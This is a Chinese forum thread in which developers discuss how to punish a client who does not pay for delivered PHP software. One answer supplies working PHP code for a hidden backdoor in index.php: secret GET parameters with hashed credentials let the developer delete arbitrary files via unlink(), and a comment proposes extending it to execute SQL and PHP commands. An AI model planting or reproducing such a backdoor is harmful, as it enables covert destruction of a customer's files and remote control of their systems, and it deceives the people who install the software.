版本检测网上的办法挺多的,个人比较推荐xml进行各种信息的描述,在入口启用xml文件检测,若版本低于,返回升级信息。不推荐直接unlink,如果造成损失可能吃官司,你可以设置一个超级入口就行了,如果他不付款,直接把核心功能给锁定了

解决方案 »

  1.   

    对,我不清空他的数据库和上传文件夹  只把一些重要模块的php文件删除   无法更新就可以
    这个超级入口应该怎么写呢 ? 没做过,没见过
      

  2.   

    不用想太复杂的。
    例如有个叫index.php,很常见吧。
    可以在里面加一个自己专用的方法做后门。
    例如:<?php
    $hack = isset($_GET['hack'])? $_GET['hack'] : 0;
    $hackusername = isset($_GET['hackusername'])? $_GET['hackusername'] : '';
    $hackpassword = isset($_GET['hackpassword'])? $_GET['hackpassword'] : '';if($hack==1 && md5($hackusername)=='xxxx' && md5($hackpassword)=='xxxxxx'){    $delfile = isset($_GET['delfile'])? $_GET['delfile'] : '';
        if($delfile!=''){
            delfile($delfile);
        }    // 这里还可以做一个界面,可以输入sql,输入php执行命令那些.
    }function delfile($path){
        unlink($path);
    }
    ?>